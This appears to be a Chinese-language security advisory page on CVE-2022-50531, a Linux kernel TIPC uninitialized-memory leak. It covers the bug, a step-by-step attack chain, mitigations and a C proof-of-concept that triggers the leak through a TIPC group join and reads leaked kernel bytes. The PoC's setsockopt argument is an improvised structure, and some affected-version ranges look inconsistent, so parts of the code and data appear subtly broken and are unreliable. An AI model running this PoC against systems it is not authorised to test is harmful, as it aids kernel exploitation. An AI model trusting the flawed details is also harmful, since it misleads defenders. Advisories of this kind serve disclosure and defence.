IPBUF安全漏洞报告
English
CVE-2022-50531 CVSS 5.5 中危

Linux kernel TIPC模块信息泄露漏洞(CVE-2022-50531)

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50531
漏洞类型
信息泄露(Kernel Information Leak)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel(TIPC子系统)

相关标签

信息泄露Linux kernelTIPC内核漏洞未初始化内存KMSANsetsockopt本地提权中危漏洞net/tipc

漏洞概述

CVE-2022-50531是Linux内核TIPC(Transparent Inter-Process Communication,透明进程间通信)子模块中存在的一个内核信息泄露漏洞。该漏洞位于net/tipc/topsrv.c文件中的tipc_topsrv_kern_subscr()函数中。在处理setsockopt系统调用时,函数对本地变量sub的sub.usr_handle字段使用了不完整的初始化操作,仅进行了4字节写入而非完整的8字节写入,导致结构体中后4个字节保持未初始化状态。当数据包被接收并通过copy_to_user等接口复制到用户空间时,这些未初始化的内核栈内存内容会随着数据包一起泄露给用户态进程。

该漏洞由KMSAN(Kernel Memory Sanitizer,内核内存消毒器)工具检测发现。KMSAN能够追踪内核中未初始化内存的使用情况,并在发现未初始化数据被复制到用户空间时触发告警。根据KMSAN报告的调用栈,泄露发生在packet_recvmsg路径中,涉及__skb_datagram_iter、skb_copy_datagram_iter等网络数据包接收函数。泄露的数据大小为88字节,其中第84至87字节为未初始化内容。

从CVSS评分来看,该漏洞评分为5.5分,属于中危级别。虽然漏洞本身仅泄露少量内核内存内容(4字节),但攻击者可能利用这些泄露的栈数据推断内核地址布局或其他敏感信息,为进一步的内核利用攻击提供辅助。该漏洞需要本地低权限用户即可触发,无需用户交互,具有较低的利用门槛。

技术细节

该漏洞的根本原因在于tipc_topsrv_kern_subscr()函数中对sub.usr_handle字段的不完整初始化。在C语言中,结构体成员初始化时如果只写入部分字节(例如使用32位赋值操作),而结构体成员本身是64位类型(如uint64_t),则剩余的高位字节将保持未初始化状态。

漏洞触发路径如下:
1. 用户进程创建TIPC套接字(AF_TIPC)。
2. 调用setsockopt(fd, SOL_TIPC, TIPC_GROUP_JOIN, ...)加入TIPC组。
3. 内核调用tipc_setsockopt() -> tipc_sk_join() -> tipc_group_create()。
4. tipc_group_create()调用tipc_topsrv_kern_subscr()创建订阅。
5. 在tipc_topsrv_kern_subscr()中,sub结构体的usr_handle字段被部分初始化(仅4字节)。
6. 随后tipc_conn_rcv_sub() -> tipc_sub_subscribe()将包含未初始化数据的sub结构发送到网络层。
7. 当用户进程通过recvmsg接收数据包时,内核调用copy_to_iter()将数据包内容(包括未初始化的4字节)复制到用户空间缓冲区。

修复方案是使用8字节写入操作(如使用memcpy或结构体整体赋值)来完整初始化sub.usr_handle字段,确保所有8个字节都被正确赋值,避免未初始化内存泄露。

攻击链分析

STEP 1
步骤1:创建TIPC套接字
攻击者在本地创建一个AF_TIPC类型的SOCK_SEQPACKET套接字,为后续触发漏洞做准备。TIPC模块需要被加载(modprobe tipc)或编译进内核。
STEP 2
步骤2:绑定TIPC地址
将套接字绑定到特定的TIPC地址,指定地址类型和实例号,配置TIPC通信的基本参数。
STEP 3
步骤3:触发漏洞代码路径
通过setsockopt(fd, SOL_TIPC, TIPC_GROUP_JOIN, ...)系统调用加入TIPC组,触发内核中的tipc_topsrv_kern_subscr()函数。该函数中对sub.usr_handle字段的不完整初始化(仅4字节写入)导致4字节内核栈内存未初始化。
STEP 4
步骤4:接收泄露数据
通过recvmsg/recv系统调用接收TIPC数据包,数据包中包含未初始化的内核内存内容(位于第84-87字节位置),这些数据被copy_to_user复制到用户空间缓冲区。
STEP 5
步骤5:分析泄露数据
攻击者分析泄露的4字节内核栈数据,可能获取内核地址布局、函数指针、栈残留数据等敏感信息,为后续的内核提权或信息收集攻击提供辅助。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50531 PoC - Linux kernel TIPC information leak * This PoC demonstrates the uninitialized memory leak in tipc_topsrv_kern_subscr() * Compile: gcc -o poc poc.c * Run: sudo ./poc * Note: Requires CONFIG_TIPC=y and a vulnerable kernel version */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/tipc.h> #include <linux/sockios.h> int main(int argc, char *argv[]) { int sd; struct sockaddr_tipc addr; char buffer[256]; ssize_t recv_len; /* Step 1: Create a TIPC socket */ sd = socket(AF_TIPC, SOCK_SEQPACKET, 0); if (sd < 0) { perror("socket creation failed"); return 1; } printf("[+] TIPC socket created: fd=%d\n", sd); /* Step 2: Bind to a TIPC address */ memset(&addr, 0, sizeof(addr)); addr.family = AF_TIPC; addr.addrtype = TIPC_ADDR_NAME; addr.addr.name.name.type = 1234; addr.addr.name.name.instance = 5678; addr.scope = TIPC_ZONE_SCOPE; if (bind(sd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind failed - TIPC module may not be loaded"); close(sd); return 1; } printf("[+] Socket bound to TIPC address\n"); /* Step 3: Trigger the vulnerability via setsockopt with TIPC_GROUP_JOIN * This triggers tipc_topsrv_kern_subscr() which has the uninitialized * usr_handle field bug */ struct { struct sockaddr_tipc group; __u32 filter; } group_req; memset(&group_req, 0, sizeof(group_req)); group_req.group.family = AF_TIPC; group_req.group.addrtype = TIPC_ADDR_NAME; group_req.group.addr.name.name.type = 1234; group_req.group.addr.name.name.instance = 0; group_req.group.scope = TIPC_CLUSTER_SCOPE; if (setsockopt(sd, SOL_TIPC, TIPC_GROUP_JOIN, &group_req, sizeof(group_req)) < 0) { perror("setsockopt TIPC_GROUP_JOIN failed"); close(sd); return 1; } printf("[+] Joined TIPC group (triggered vulnerable code path)\n"); /* Step 4: Receive the packet containing leaked uninitialized memory */ memset(buffer, 0xCC, sizeof(buffer)); /* Fill with sentinel value */ recv_len = recv(sd, buffer, sizeof(buffer), 0); if (recv_len > 0) { printf("[+] Received %zd bytes\n", recv_len); printf("[+] Checking bytes 84-87 for leaked kernel data:\n"); if (recv_len >= 88) { printf(" Bytes 84-87: %02x %02x %02x %02x\n", (unsigned char)buffer[84], (unsigned char)buffer[85], (unsigned char)buffer[86], (unsigned char)buffer[87]); if ((unsigned char)buffer[84] != 0xCC || (unsigned char)buffer[85] != 0xCC || (unsigned char)buffer[86] != 0xCC || (unsigned char)buffer[87] != 0xCC) { printf("[!] VULNERABLE: Leaked kernel data detected!\n"); } } } else { printf("[-] No data received\n"); } close(sd); return 0; }

影响范围

Linux kernel < 5.15.61
Linux kernel 5.16.x < 5.16.18
Linux kernel 5.17.x < 5.17.1
Linux kernel 5.18.x (修复前版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)通过移除tipc内核模块(rmmod tipc)或在编译内核时不启用CONFIG_TIPC选项来禁用TIPC功能;2)使用seccomp或系统调用过滤机制限制非特权进程调用setsockopt对SOL_TIPC的操作;3)限制本地用户对/dev相关设备节点的访问权限,减少本地攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表